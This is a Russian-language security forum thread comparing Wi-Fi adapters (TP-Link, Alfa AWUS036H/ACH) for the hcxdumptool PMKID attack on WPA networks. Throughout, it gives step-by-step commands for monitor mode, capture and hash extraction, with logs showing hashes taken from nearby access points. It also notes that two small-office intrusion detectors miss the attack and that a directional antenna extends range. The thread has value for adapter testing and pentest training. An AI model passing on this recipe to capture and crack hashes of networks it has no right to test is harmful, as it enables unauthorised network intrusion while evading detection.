# hcxdumptool -o test2.pcapng -i wlan1 --enable_status // проводим атаку

Быстрый перебор.
Логи:

start capturing (stop with ctrl+c)
INTERFACE:...............: wlan1
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233 (client)
MAC ACCESS POINT.........: 78f944 (start NIC)
EAPOL TIMEOUT............: 1000000
DEAUTHENTICATIONINTERVALL: 20 beacons
GIVE UP DEAUTHENTICATIONS: 10 tries
REPLAYCOUNTER............: 61796
ANONCE...................: 58b4f09a154fa7dcedf37be5e7536bb16b8f9fd844f98c6e3b3f8cfe27006b7f

INFO: cha=2, rx=155689, rx(dropped)=10919, tx=5230, powned=10, err=0^C

Цифры мака после октетов производителя удалены

Длительность атаки ~30 мин.

Значение powned=10, однако найденных PMKID только 8. Остальные 3 видимо handshake судя по логам [FOUND AUTHORIZED HANDSHAKE].

Извлекаю хеши:
# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test2.pcapng

start reading from test2.pcapng

summary:
--------
file name....................: test2.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.16.0-kali2-amd64
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1460
skipped packets..............: 0
packets with FCS.............: 696
beacons (with ESSID inside)..: 71
probe requests...............: 15
probe responses..............: 58
association requests.........: 190
association responses........: 340
reassociation responses......: 1
authentications (OPEN SYSTEM): 657
authentications (BROADCOM)...: 165
EAPOL packets................: 127
EAPOL PMKIDs.................: 8
best handshakes..............: 3 (ap-less: 0)

8 PMKID(s) written to test.16800

Получилось 8 штук, 3 handshake не были извлечены.

Резюме - драйвер адаптера полноценно поддерживает атаку, если переводить физический интерфейс в режим монитора с помощью команды iw.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ip link set wlan1 down && iw wlan1 set type managed && ip link set wlan1 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ifconfig wlan1 down && iwconfig wlan1 mode monitor && ifconfig wlan1 up // переводим интерфейс в режим монитора с помощью iwconfig
# hcxdumptool -o test3.pcapng -i wlan1 --enable_status // проводим атаку

Аналогично пункту II.

Резюме - драйвер адаптера поддерживает атаку,если перевести интерфейс в режим монитора с помощью ifconfig.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ifconfig wlan1 down && iwconfig wlan1 mode managed && ifconfig wlan1 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# airmon-ng start wlan1 // переводим интерфейс в режим монитора с помощью airmon-ng
# hcxdumptool -o test4.pcapng -i wlan1mon --enable_status // проводим атаку

Аналогично пункту II.

Резюме - драйвер адаптера поддерживает атаку,если перевести интерфейс в режим монитора с помощью airmon-ng.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# airmon-ng stop wlan1mon
# service network-manager restart

Все те же действия, но без остановки wpa_supplicant:

Пункт I - без изменений.

Пункт II - не работает/медленно/меняется на manager если не убить wpa_supplicant.

Пункт III - без изменений.

Пункт IV - без изменений.

Резюме - адаптер на 100% совместим с данной атакой.

P.S. Если какие-то из пунктов не работают как в инструкции, то перезагрузите ПК или вставьте адаптер в другой USB-порт.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
UPD4. Проверил адаптер Alfa Network AWUS036ACH.
Адаптер на 100% совместим с данной атакой.


Alfa Network AWUS036ACH

Driver______Chipset
8812au_____Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac WLAN Adapter




Адаптер поддерживает режим монитора, инъекцию пакетов, атаку Evil Tvin. Поддерживает вардрайвинг в 5 ГГц.

Ввиду того, что драйвер адаптера пока не поддерживает airmon-ng и конфликтует с wpa_supplicant пунктов IV и V не будет.
# airmon-ng check kill // убиваем wpa_supplicant
# iw phy1 interface add mon1 type monitor // создаем виртуальный интерфейс и переводим его в режим монитора, физический остается в обычном режиме
# hcxdumptool -o test1.pcapng -i mon1 --enable_status // проводим атаку

Атака не работает. Все как в случае с TP-Link TL-WN721N, Intel Dual Band Wireless-AC 3165 и Alfa Network AWUS036H.

Время ожидания ~5 минут.

Резюме - драйвер адаптера не поддерживает атаку, если создать виртуальный интерфейс отдельно от физического (который остается в обычном режиме) и перевести его в режим монитора с помощью команды iw.

По окончанию теста удаляем виртуальный интерфейс и перезапускаем network-manager
# iw dev mon0 del
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ip link set wlan1 down && iw wlan1 set monitor control && ip link set wlan1 up // переводим интерфейс в режим монитора
# hcxdumptool -o test2.pcapng -i wlan1 --enable_status // проводим атаку

Быстрый перебор.

Все как 036H, извлек 10 хешей, 1 handshake.

summary:
--------
file name....................: test1.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.16.0-kali2-amd64
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1241
skipped packets..............: 0
packets with FCS.............: 1242
beacons (with ESSID inside)..: 149
probe requests...............: 39
probe responses..............: 83
association requests.........: 7
association responses........: 330
reassociation requests.......: 1
reassociation responses......: 2
authentications (OPEN SYSTEM): 478
authentications (BROADCOM)...: 303
EAPOL packets................: 150
EAPOL PMKIDs.................: 10
best handshakes..............: 1 (ap-less: 0)

10 PMKID(s) written to test.16800

Длительность атаки ~15 мин.

Резюме - драйвер адаптера полноценно поддерживает атаку, если переводить физический интерфейс в режим монитора с помощью команды iw.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ip link set wlan1 down && iw wlan1 set type managed && ip link set wlan1 up
# service network-manager restart

# airmon-ng check kill // убиваем wpa_supplicant
# ifconfig wlan1 down && iwconfig wlan1 mode monitor && ifconfig wlan1 up // переводим интерфейс в режим монитора с помощью iwconfig
# hcxdumptool -o test3.pcapng -i wlan1 --enable_status // проводим атаку

Аналогично пункту II.

Резюме - драйвер адаптера поддерживает атаку,если перевести интерфейс в режим монитора с помощью ifconfig.

По окончанию теста переводим интерфейс в обычный режим и перезапускаем network-manager
# ifconfig wlan1 down && iwconfig wlan1 mode managed && ifconfig wlan1 up
# service network-manager restart

P.S. Если какие-то из пунктов не работают как в инструкции, то перезагрузите ПК или вставьте адаптер в другой USB-порт.

Если у кого-нибудь есть адаптеры, работающие в monitor mode - напишите в похожем формате, как они перебирают с разными вариантами включения монитора.

Есть логи по TP-LINK, Intel, Alfa036H, по ACH результат похож на H, только ловит больше PMKID из-за 5 ГГц и лучшей чувствительности.
Оставил только 3 октета MAC-адресов, обезличены имена ТД. Если кому нужно для изучения - в ЛС.
Остальные адаптеры, которые корректно отрабатывают есть в шапке темы, а так же тут:


----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
UPD5. Проверил атаку на детект SOHO-WIDS (AtEar и waidps) - они не определяют атаку.
Проверил комбинацию Alfa 036H + Яга, перебирает шустрее чем обычно, PMKID поймал 10 штук. Значит атака будет нормально работать даже если Вы находитесь относительно далеко от точки, но антенна хорошая.
Сделали небольшой FAQ -
 
Последнее редактирование:
после ввода команды: hcxdumptool -o test3.pcapng -i wlan0 --enable_status
Получаю такой ответ, в чем может быть причина?
hcxdumptool: option '--enable_status' requires an argument
invalid argument specified
 
после ввода команды: hcxdumptool -o test3.pcapng -i wlan0 --enable_status
Получаю такой ответ, в чем может быть причина?
hcxdumptool: option '--enable_status' requires an argument
invalid argument specified
Скрипт был обновлен и оптимизирован.
Код:
hcxdumptool -o test1.pcapng -i wlan1mon --enable_status=1

На будущее:
Код:
hcxdumptool --help

За 8 минут - 8 валидных PMKID (TP-LINK 721N). Вообще
start capturing (stop with ctrl+c)
INTERFACE:...............: wlan1mon
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233 (client)
MAC ACCESS POINT.........: 20d160 (start NIC)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT..............: 64290
ANONCE...................: 0422e913c05d3e5c1f381183c17368028bbe7b7847c3bc41e21e23c8ab25062f

[15:32:51 - 001] fcc8 -> fcc23 [FOUND PMKID CLIENT-LESS]
[15:33:01 - 003] 7831 -> fcc23 [FOUND PMKID CLIENT-LESS]
[15:33:32 - 004] 6c3b -> fcc23 [FOUND PMKID CLIENT-LESS]
[15:33:38 - 006] a039 -> fcc23 [FOUND PMKID CLIENT-LESS]
[15:34:26 - 011] 403d -> c46e6 [FOUND PMKID]
[15:34:47 - 006] c838 -> e091f [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 65337]
[15:35:04 - 001] b4a5 -> fcc23 [FOUND PMKID CLIENT-LESS]
[15:36:30 - 007] 94b1 -> fcc89 [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 6082]
[15:36:30 - 007] fcc8 -> 94b10 [FOUND PMKID]
[15:39:47 - 007] fcc8 -> 00617 [FOUND PMKID]
INFO: cha=12, rx=25925, rx(dropped)=6987, tx=3958, powned=10, err=0^C
terminated...

root@yarr:~# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test1.pcapng
start reading from test1.pcapng

summary:
--------
file name....................: test1.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.0-kali1-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 3758
skipped packets..............: 0
packets with FCS.............: 1599
beacons (with ESSID inside)..: 23
probe requests...............: 8
probe responses..............: 26
association requests.........: 606
association responses........: 1473
reassociation responses......: 1
authentications (OPEN SYSTEM): 1124
authentications (BROADCOM)...: 505
EAPOL packets................: 497
EAPOL PMKIDs.................: 8
best handshakes..............: 2 (ap-less: 2)

8 PMKID(s) written to test.16800
 
Последнее редактирование:
В разных источниках стоят разные цифры "--enable_status=1", больше всего встречал 2, так где правильно? И вообще, что обозначают данные цифры?
 
В разных источниках стоят разные цифры "--enable_status=1", больше всего встречал 2, так где правильно? И вообще, что обозначают данные цифры?
Правильно будет так:
Код:
hcxdumptool --help
Параметр enable_status задает уровень детализации атаки.
 
  • Нравится
Реакции: Underwood, ghost и Sphinx
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!